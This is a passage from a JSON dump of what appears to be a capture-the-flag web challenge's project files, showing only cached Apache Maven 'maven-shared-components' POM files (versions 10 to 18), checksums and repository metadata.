<module>maven-verifier</module>\n    <module>maven-web-ui-tests</module>\n-->\n    <!--\n    Uses jdk 1.5\n    <module>maven-shared-model</module>\n    -->\n<!--\n  </modules>\n-->\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-10</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-10</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-10</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/shared/</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/10/maven-shared-components-10.pom.sha1",
    "content": "a7dabc7cff7b683d810e33a63c85cbc630c3ebf3"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/15/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:58 CST 2018\nmaven-shared-components-15.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>16</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>15</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <!-- duplication from parent pom - temporary until they inherit properly (MNG-3124) -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <modules>\n    <module>file-management</module>\n    <module>maven-ant</module>\n    <module>maven-archiver</module>\n    <module>maven-common-artifact-filters</module>\n    <module>maven-dependency-analyzer</module>\n    <module>maven-dependency-tree</module>\n    <module>maven-downloader</module>\n    <module>maven-doxia-tools</module>\n    <module>maven-filtering</module>\n    <module>maven-invoker</module>\n    <module>maven-model-converter</module>\n    <module>maven-osgi</module>\n    <module>maven-reporting-impl</module>\n    <module>maven-repository-builder</module>\n    <module>maven-runtime</module>\n    <!-- TODO: This seems to target Maven 3.x and needs some love\n    <module>maven-script</module>\n    -->\n    <module>maven-shared-io</module>\n    <module>maven-shared-jar</module>\n    <module>maven-shared-monitor</module>\n    <module>maven-verifier</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-15</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-15</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-15</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/shared/</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>jre-1.5+</id>\n      <activation>\n        <jdk>!1.4</jdk>\n      </activation>\n      <modules>\n        <module>maven-artifact-resolver</module>\n      </modules>\n    </profile>\n    <profile>\n      <id>parent-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <arguments>-N -Papache-release</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <configuration>\n                  <descriptorRefs>\n                    <descriptorRef>src</descriptorRef>\n                  </descriptorRefs>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom.sha1",
    "content": "ea4cecd1845e61708cd05f20d5d428a3d429e67c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/16/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:36 CST 2018\nmaven-shared-components-16.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/16/maven-shared-components-16.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>19</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>16</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <!-- duplication from parent pom - temporary until they inherit properly (MNG-3124) -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-16</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-16</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-16</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/shared/</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.7</version>\n            <configuration>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>parent-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <arguments>-N -Papache-release</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <configuration>\n                  <descriptorRefs>\n                    <descriptorRef>src</descriptorRef>\n                  </descriptorRefs>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <!-- if releasing current pom with maven 3 site descriptor must be attached -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>        \n      </build>\n                  \n    </profile>    \n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/16/maven-shared-components-16.pom.sha1",
    "content": "214d20fcd1d88118bf0518e65284489aebb71259"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:38 CST 2018\nmaven-shared-components-17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/17/maven-shared-components-17.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>21</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>17</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <!-- duplication from parent pom - temporary until they inherit properly (MNG-3124) -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-17</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-17</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-17</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-shared/</url>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/shared/</url>\n    </site>\n  </distributionManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.6</version>\n          <configuration>\n            <issueManagementSystems>\n              <issueManagementSystem>JIRA</issueManagementSystem>\n            </issueManagementSystems>\n            <maxEntries>1000</maxEntries>\n            <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n            <versionPrefix>${project.artifactId}-</versionPrefix>\n            <!-- Used by announcement-generate goal -->\n            <templateDirectory>org/apache/maven/shared</templateDirectory>\n            <!-- Used by announcement-mail goal -->\n            <subject>[ANN] ${project.name} ${project.version} Released</subject>\n            <toAddresses>\n              <toAddress implementation=\"java.lang.String\">announce@maven.apache.org</toAddress>\n              <toAddress implementation=\"java.lang.String\">users@maven.apache.org</toAddress>\n            </toAddresses>\n            <ccAddresses>\n              <ccAddress implementation=\"java.lang.String\">dev@maven.apache.org</ccAddress>\n            </ccAddresses>\n            <!-- These values need to be specified as properties in the profile apache-release in your settings.xml -->\n            <fromDeveloperId>${apache.availid}</fromDeveloperId>\n            <smtpHost>${smtp.host}</smtpHost>\n          </configuration>\n          <dependencies>\n            <!-- Used by announcement-generate goal -->\n            <dependency>\n              <groupId>org.apache.maven.shared</groupId>\n              <artifactId>maven-shared-resources</artifactId>\n              <version>1</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/shared/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/17/maven-shared-components-17.pom.sha1",
    "content": "9574bbf041ebae3dcf84c221d552dbeb01fe5b40"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/18/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:56 CST 2018\nmaven-shared-components-18.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>22</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>18</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-18</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-18</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-18</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-shared/</url>\n  </ciManagement>\n  